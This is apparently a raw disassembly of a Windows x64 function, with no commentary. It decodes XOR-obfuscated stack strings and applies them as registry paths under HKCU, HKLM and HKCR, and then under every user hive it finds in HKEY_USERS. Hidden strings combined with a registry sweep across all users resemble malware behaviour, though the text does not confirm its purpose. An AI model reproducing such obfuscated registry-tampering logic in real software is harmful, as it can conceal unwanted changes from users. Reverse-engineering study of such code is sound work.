movabs rax, 0x83ca7fe7aceaa323
movdqa xmm0, xmmword [rbp + 0x2f0]
mov qword [rbp + 0x300], rax
movabs rax, 0x9bed40a1130e6e11
mov qword [rbp + 0x308], rax
movabs rax, 0x91ddc01eeb5bfc84
mov qword [rbp + 0x310], rax
movabs rax, 0x1f573e4024fe9a2c
mov qword [rbp + 0x318], rax
movabs rax, 0xec98d6aaa81e5960
mov qword [rbp + 0x320], rax
movabs rax, 0x1c40a2176b7f6c43
mov qword [rbp + 0x328], rax
movabs rax, 0xbfab210777114f99
mov qword [rbp + 0x330], rax
movabs rax, 0xdc8aad04c4350554
mov qword [rbp + 0x338], rax
movabs rax, 0xbe7ccf3c1cf3a041
mov qword [rbp + 0x340], rax
movabs rax, 0x839d29dd3c698f31
mov qword [rbp + 0x348], rax
movabs rax, 0xf6f9a77e6e6453de
mov qword [rbp + 0x350], rax
movabs rax, 0x5ec4a2874d559122
mov qword [rbp + 0x358], rax
movabs rax, 0xb42d68712bcd7fa7
mov qword [rbp + 0x360], rax
movabs rax, 0xe034dc9e39d0899f
mov qword [rbp + 0x368], rax
movabs rax, 0xf90d3cc60a83bba8
mov qword [rbp + 0x370], rax
movabs rax, 0x63f567d419f060eb
mov qword [rbp + 0x680], rax
movabs rax, 0x1dccecd101b59cc
mov qword [rbp + 0x688], rax
movabs rax, 0x46c65f960fcfc63d
pxor xmm6, xmmword [rbp + 0x680]
mov qword [rbp + 0x690], rax
movabs rax, 0x599c5a3fe6dfa23e
mov qword [rbp + 0x698], rax
movabs rax, 0x83a97f88aca6a37f
mov qword [rbp + 0x6a0], rax
movabs rax, 0x9bbe408113626e70
mov qword [rbp + 0x6a8], rax
movabs rax, 0x91b4c06aeb2ffce1
mov qword [rbp + 0x6b0], rax
movabs rax, 0xbfc8216e775c4fc5
mov qword [rbp + 0x6d0], rax
movabs rax, 0xdce5ad77c45a0526
mov qword [rbp + 0x6d8], rax
movabs rax, 0xbe2bcf601c87a027
mov qword [rbp + 0x6e0], rax
movabs rax, 0x83f229b93c078f58
mov qword [rbp + 0x6e8], rax
movabs rax, 0xb44468042b807ffb
mov qword [rbp + 0x700], rax
movabs rax, 0xe05cdcfd39b189dc
mov qword [rbp + 0x708], rax
movabs rax, 0xf90d3cc60a83bbcd
mov qword [rbp + 0x710], rax
mov qword [rbp + 0x6c0], r15
mov qword [rbp + 0x6c8], rdi
mov qword [rbp + 0x6f0], r12
mov qword [rbp + 0x6f8], r13
mov qword [rbp + 0x718], rcx
movdqa xmmword [rbp + 0x2e0], xmm6
pxor xmm0, xmmword [rbp + 0x690]
lea rcx, [rbp + 0x19d0]
movdqa xmm1, xmmword [rbp + 0x300]
xor edx, edx
pxor xmm1, xmmword [rbp + 0x6a0]
mov r8d, 0x410
movdqa xmmword [rbp + 0x2f0], xmm0
movdqa xmm0, xmmword [rbp + 0x310]
pxor xmm0, xmmword [rbp + 0x6b0]
movdqa xmmword [rbp + 0x310], xmm0
movdqa xmm0, xmmword [rbp + 0x330]
pxor xmm0, xmmword [rbp + 0x6d0]
movdqa xmmword [rbp + 0x300], xmm1
movdqa xmm1, xmmword [rbp + 0x320]
pxor xmm1, xmmword [rbp + 0x6c0]
movdqa xmmword [rbp + 0x330], xmm0
movdqa xmm0, xmmword [rbp + 0x350]
pxor xmm0, xmmword [rbp + 0x6f0]
movdqa xmmword [rbp + 0x320], xmm1
movdqa xmm1, xmmword [rbp + 0x340]
pxor xmm1, xmmword [rbp + 0x6e0]
movdqa xmmword [rbp + 0x350], xmm0
movdqa xmm0, xmmword [rbp + 0x370]
pxor xmm0, xmmword [rbp + 0x710]
movdqa xmmword [rbp + 0x340], xmm1
movdqa xmm1, xmmword [rbp + 0x360]
pxor xmm1, xmmword [rbp + 0x700]
movdqa xmmword [rbp + 0x370], xmm0
movdqa xmmword [rbp + 0x360], xmm1
call fcn.1400a5760
movq rax, xmm6
mov r8d, ebx
test ax, ax
je 0x140064825
cmp r8d, 0x208
jae 0x140064825
mov eax, r8d
inc r8d
lea rdx, [rax + rax]
movzx eax, word [rbp + rdx + 0x2e0]
mov word [rbp + rdx + 0x19d0], ax
cmp word [rbp + r8*2 + 0x2e0], bx
jne 0x1400647f7
lea rdx, [rbp + 0x19d0]
mov rcx, 0xffffffff80000001
call fcn.140066670
movabs rax, 0x63a1679219bf60b8
mov qword [rbp + 0x128], rdi
mov qword [rbp + 0xe0], rax
lea rcx, [rbp + 0x1de0]
movabs rax, 0x199ce9f105a599b
mov qword [rbp + 0x4b8], r14
mov qword [rbp + 0xe8], rax
xor edx, edx
movdqa xmm6, xmmword [rbp + 0xe0]
movabs rax, 0x46a55fff0f82c661
mov qword [rbp + 0xf0], rax
mov r8d, 0x410
movabs rax, 0x59f35a4ce6b0a24c
mov qword [rbp + 0x4c0], r15
mov qword [rbp + 0xf8], rax
movabs rax, 0x83fb7fd4acd2a319
movdqa xmm0, xmmword [rbp + 0xf0]
mov qword [rbp + 0x100], rax
movabs rax, 0x9bc840ee130f6e15
mov qword [rbp + 0x108], rax
movabs rax, 0x91dbc03eeb43fc80
movdqa xmm1, xmmword [rbp + 0x100]
mov qword [rbp + 0x110], rax
movabs rax, 0x1f573e4024f59a2d
mov qword [rbp + 0x118], rax
movabs rax, 0xececd698a823597e
mov qword [rbp + 0x120], rax
movabs rax, 0x63f567d419f060eb
mov qword [rbp + 0x480], rax
movabs rax, 0x1dccecd101b59cc
mov qword [rbp + 0x488], rax
movabs rax, 0x46c65f960fcfc63d
pxor xmm6, xmmword [rbp + 0x480]
mov qword [rbp + 0x490], rax
movabs rax, 0x599c5a3fe6dfa23e
mov qword [rbp + 0x498], rax
movabs rax, 0x83a97f88aca6a37f
pxor xmm0, xmmword [rbp + 0x490]
mov qword [rbp + 0x4a0], rax
movabs rax, 0x9bbe408113626e70
mov qword [rbp + 0x4a8], rax
movabs rax, 0x91b4c06aeb2ffce1
pxor xmm1, xmmword [rbp + 0x4a0]
movdqa xmmword [rbp + 0x100], xmm1
movdqa xmm1, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0xf0], xmm0
movdqa xmm0, xmmword [rbp + 0x110]
mov qword [rbp + 0x4b0], rax
pxor xmm0, xmmword [rbp + 0x4b0]
mov qword [rbp + 0x4c8], rdi
pxor xmm1, xmmword [rbp + 0x4c0]
movdqa xmmword [rbp + 0x120], xmm1
movdqa xmmword [rbp + 0xe0], xmm6
movdqa xmmword [rbp + 0x110], xmm0
call fcn.1400a5760
movq rax, xmm6
mov edx, ebx
movaps xmm6, xmmword [rsp + 0x22f0]
test ax, ax
je 0x140064a2e
cmp edx, 0x208
jae 0x140064a2e
mov eax, edx
inc edx
lea rcx, [rax + rax]
movzx eax, word [rbp + rcx + 0xe0]
mov word [rbp + rcx + 0x1de0], ax
cmp word [rbp + rdx*2 + 0xe0], bx
jne 0x140064a04
lea rdx, [rbp + 0x1de0]
mov rcx, 0xffffffff80000002
call fcn.140066670
movabs rax, 0x639467b7199f60a7
mov qword [rbp + 0x508], r14
mov qword [rbp + 0x380], rax
movabs rax, 0x1b9ce9e103b59a0
mov qword [rbp + 0x388], rax
movabs rax, 0x46a85fff0fbbc649
movdqa xmm0, xmmword [rbp + 0x380]
mov qword [rbp + 0x390], rax
movabs rax, 0x59cf5a63e6aca259
mov qword [rbp + 0x398], rax
movabs rax, 0x83de7ffcacc0a310
movdqa xmm1, xmmword [rbp + 0x390]
mov qword [rbp + 0x3a0], rax
movabs rax, 0x9be240e413106e11
mov qword [rbp + 0x3a8], rax
movabs rax, 0x91c6c009eb46fcac
mov qword [rbp + 0x3b0], rax
movabs rax, 0x1f6d3e5c24ea9a2d
mov qword [rbp + 0x3b8], rax
movabs rax, 0xec85d69ba82d5947
mov qword [rbp + 0x3c0], rax
movabs rax, 0x1c52a20a6b7a6c5a
mov qword [rbp + 0x3c8], rax
movabs rax, 0xbfa0213d77004fb6
mov qword [rbp + 0x3d0], rax
movabs rax, 0xdcb9ad1bc4360543
mov qword [rbp + 0x3d8], rax
movabs rax, 0xbe68cf091cf2a06a
mov qword [rbp + 0x3e0], rax
movabs rax, 0x839729d13c648f39
mov qword [rbp + 0x3e8], rax
movabs rax, 0x63f567d419f060eb
mov qword [rbp + 0x4d0], rax
movabs rax, 0x1dccecd101b59cc
mov qword [rbp + 0x4d8], rax
movabs rax, 0x46c65f960fcfc63d
pxor xmm0, xmmword [rbp + 0x4d0]
mov qword [rbp + 0x4e0], rax
movabs rax, 0x599c5a3fe6dfa23e
mov qword [rbp + 0x4e8], rax
movabs rax, 0x83a97f88aca6a37f
pxor xmm1, xmmword [rbp + 0x4e0]
mov qword [rbp + 0x4f0], rax
movabs rax, 0x9bbe408113626e70
mov qword [rbp + 0x4f8], rax
movabs rax, 0x91b4c06aeb2ffce1
movdqa xmmword [rbp + 0x380], xmm0
movdqa xmm0, xmmword [rbp + 0x3a0]
pxor xmm0, xmmword [rbp + 0x4f0]
mov qword [rbp + 0x500], rax
movabs rax, 0xbfc8216e775c4fc5
mov qword [rbp + 0x520], rax
movabs rax, 0xdce5ad77c45a0526
movdqa xmmword [rbp + 0x390], xmm1
movdqa xmm1, xmmword [rbp + 0x3b0]
pxor xmm1, xmmword [rbp + 0x500]
movdqa xmmword [rbp + 0x3a0], xmm0
movdqa xmm0, xmmword [rbp + 0x3c0]
mov qword [rbp + 0x528], rax
movabs rax, 0xbe2bcf601c87a027
mov qword [rbp + 0x530], rax
movabs rax, 0x83f229b93c078f58
movdqa xmmword [rbp + 0x3b0], xmm1
movdqa xmm1, xmmword [rbp + 0x3d0]
pxor xmm1, xmmword [rbp + 0x520]
mov qword [rbp + 0x510], r15
mov qword [rbp + 0x518], rdi
pxor xmm0, xmmword [rbp + 0x510]
movdqa xmmword [rbp + 0x3c0], xmm0
movdqa xmm0, xmmword [rbp + 0x3e0]
mov qword [rbp + 0x538], rax
pxor xmm0, xmmword [rbp + 0x530]
movdqa xmmword [rbp + 0x3e0], xmm0
mov qword [rbp + 0x3f0], r12
mov qword [rbp + 0x3f8], r13
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], r13
movdqa xmmword [rbp + 0x3d0], xmm1
movdqa xmm1, xmmword [rbp + 0x3f0]
lea rdx, [rbp + 0x380]
pxor xmm1, xmmword [rbp + 0x540]
mov rcx, 0xffffffff80000000
movdqa xmmword [rbp + 0x3f0], xmm1
call fcn.140066600
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x2250]
mov qword [rsp + 0x50], rbx
xor r9d, r9d
mov qword [rsp + 0x48], rbx
xor r8d, r8d
mov qword [rsp + 0x40], rbx
xor edx, edx
mov qword [rsp + 0x38], rbx
mov rcx, 0xffffffff80000003
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x140065138
cmp dword [rbp + 0x2250], ebx
jbe 0x14006512b
mov rdi, qword [rbp + 0x2260]
movabs r14, 0x63a66788198360ce
movabs r15, 0x1abceb9107d59a3
movabs r12, 0x469a5ff30fbdc65c
movabs r13, 0x59ee5a5ce6b6a273
mov r9d, 0x104
mov r8, rdi
mov edx, ebx
mov rcx, 0xffffffff80000003
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
test eax, eax
jne 0x140065119
movabs rax, 0x83cf7fe7acd5a310
mov qword [rsp + 0x60], r14
mov qword [rbp - 0x80], rax
movabs rcx, 0x984fa263cbde5252
movabs rax, 0x9bd740d6133e6e04
mov qword [rsp + 0x68], r15
mov qword [rbp - 0x78], rax
movabs rax, 0x91c3c005eb4bfc8f
mov qword [rbp - 0x70], rax
movabs rax, 0x1f5f3e7d24b99a31
mov qword [rbp - 0x68], rax
movabs rax, 0xec9ed6b9a832596f
mov qword [rbp - 0x60], rax
movabs rax, 0x1c51a20b6b7b6c46
mov qword [rbp - 0x58], rax
movabs rax, 0xbfbb211c77394f93
mov qword [rbp - 0x50], rax
movabs rax, 0xdcb9ad19c435054f
mov qword [rbp - 0x48], rax
movabs rax, 0xbe68cf101cf7a066
mov qword [rbp - 0x40], rax
movabs rax, 0x839329c93c6a8f37
mov qword [rbp - 0x38], rax
movabs rax, 0xf6cba74e6e5153dd
mov qword [rbp - 0x30], rax
movabs rax, 0x5eeba2b74d43912d
mov qword [rbp - 0x28], rax
movabs rax, 0xb42568742bed7f94
mov qword [rbp - 0x20], rax
movabs rax, 0xe035dc9f39d889a8
mov qword [rbp - 0x18], rax
movabs rax, 0xf9743cb20aeabba1
mov qword [rbp - 0x10], rax
movabs rax, 0xe7fdc41cdd48956e
mov qword [rbp - 8], rax
movabs rax, 0xc0c7bf4cc26047e6
mov qword [rbp], rax
movabs rax, 0x4e561ded69c1eaee
mov qword [rbp + 8], rax
movabs rax, 0xe266c0e829141985
mov qword [rbp + 0x10], rax
movabs rax, 0x63f567d419f060eb
mov qword [rbp + 0x20], rax
movabs rax, 0x1dccecd101b59cc
mov qword [rbp + 0x28], rax
movabs rax, 0x46c65f960fcfc63d
mov qword [rbp + 0x30], rax
movabs rax, 0x599c5a3fe6dfa23e
mov qword [rbp + 0x38], rax
movabs rax, 0x83a97f88aca6a37f
mov qword [rbp + 0x40], rax
movabs rax, 0x9bbe408113626e70
mov qword [rbp + 0x48], rax
movabs rax, 0x91b4c06aeb2ffce1
mov qword [rbp + 0x50], rax
movabs rax, 0x1f0b3e3324999a42
mov qword [rbp + 0x58], rax
movabs rax, 0xececd6cca8715933
mov qword [rbp + 0x60], rax
movabs rax, 0x1c25a2656b1e6c34
mov qword [rbp + 0x68], rax
movabs rax, 0xbfc8216e775c4fc5
mov qword [rbp + 0x70], rax
movabs rax, 0xdce5ad77c45a0526
mov qword [rbp + 0x78], rax
movabs rax, 0xbe2bcf601c87a027
mov qword [rbp + 0x80], rax
movabs rax, 0x83f229b93c078f58
mov qword [rbp + 0x88], rax
movabs rax, 0xf6aaa7226e1753a9
mov qword [rbp + 0x90], rax
movabs rax, 0x5ea8a2eb4d30914a
mov qword [rbp + 0x98], rax
movabs rax, 0xb44468042b807ffb
mov qword [rbp + 0xa0], rax
movabs rax, 0xe05cdcfd39b189dc
mov qword [rbp + 0xa8], rax
movabs rax, 0xf90d3cc60a83bbcd
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r13
mov qword [rbp + 0x18], rcx
movdqa xmm0, xmmword [rsp + 0x60]
lea r8, [rsp + 0x60]
pxor xmm0, xmmword [rbp + 0x20]
mov r9, rdi
movdqa xmm1, xmmword [rsp + 0x70]
mov edx, 0x104
pxor xmm1, xmmword [rbp + 0x30]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [rbp - 0x80]
pxor xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [rbp - 0x70]
pxor xmm1, xmmword [rbp + 0x50]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm0, xmmword [rbp - 0x60]
pxor xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm1, xmmword [rbp - 0x50]
pxor xmm1, xmmword [rbp + 0x70]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm0, xmmword [rbp - 0x40]
pxor xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm1, xmmword [rbp - 0x30]
pxor xmm1, xmmword [rbp + 0x90]
mov qword [rbp + 0xb0], rax
movabs rax, 0xe78ec46fdd09954e
mov qword [rbp + 0xb8], rax
movabs rax, 0xc0a6bf38c213478f
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm0, xmmword [rbp - 0x20]
pxor xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm1, xmmword [rbp + 0xb0]
pxor xmm1, xmmword [rbp - 0x10]
mov qword [rbp + 0xc0], rax
movabs rax, 0x4e051db169b5ea80
mov qword [rbp + 0xc8], rax
movabs rax, 0xe203c09a297b19f1
mov qword [rbp + 0xd8], rcx
mov rcx, rsi
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm0, xmmword [rbp + 0xc0]
pxor xmm0, xmmword [rbp]
movdqa xmmword [rbp - 0x10], xmm1
mov qword [rbp + 0xd0], rax
movdqa xmm1, xmmword [rbp + 0xd0]
pxor xmm1, xmmword [rbp + 0x10]
movdqa xmmword [rbp], xmm0
movdqa xmmword [rbp + 0x10], xmm1
call fcn.1400a2240
mov rdx, rsi
mov rcx, 0xffffffff80000003
call fcn.140066600
mov eax, dword [rbp + 0x2250]
inc rbx
cmp rbx, rax
jb 0x140064d75
mov rcx, qword [rbp + 0x2258]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov r15, qword [rsp + 0x2308]
mov r14, qword [rsp + 0x2310]
mov r13, qword [rsp + 0x2318]
mov r12, qword [rsp + 0x2320]
mov rdi, qword [rsp + 0x2328]
mov rbx, qword [rsp + 0x2338]
test rsi, rsi
je 0x14006517c
mov rdx, rsi
lea rcx, [rbp + 0x720]
call fcn.14001b1d0
mov rax, qword [rbp + 0x2268]
mov rsi, qword [rsp + 0x2330]
test rax, rax
je 0x14006519f
mov rdx, rax
lea rcx, [rbp + 0x2268]
call fcn.14001b1d0
mov rax, qword [rbp + 0x2260]
test rax, rax
je 0x1400651ba
mov rdx, rax
lea rcx, [rbp + 0x2260]
call fcn.14001b1d0
add rsp, 0x2340
pop rbp
ret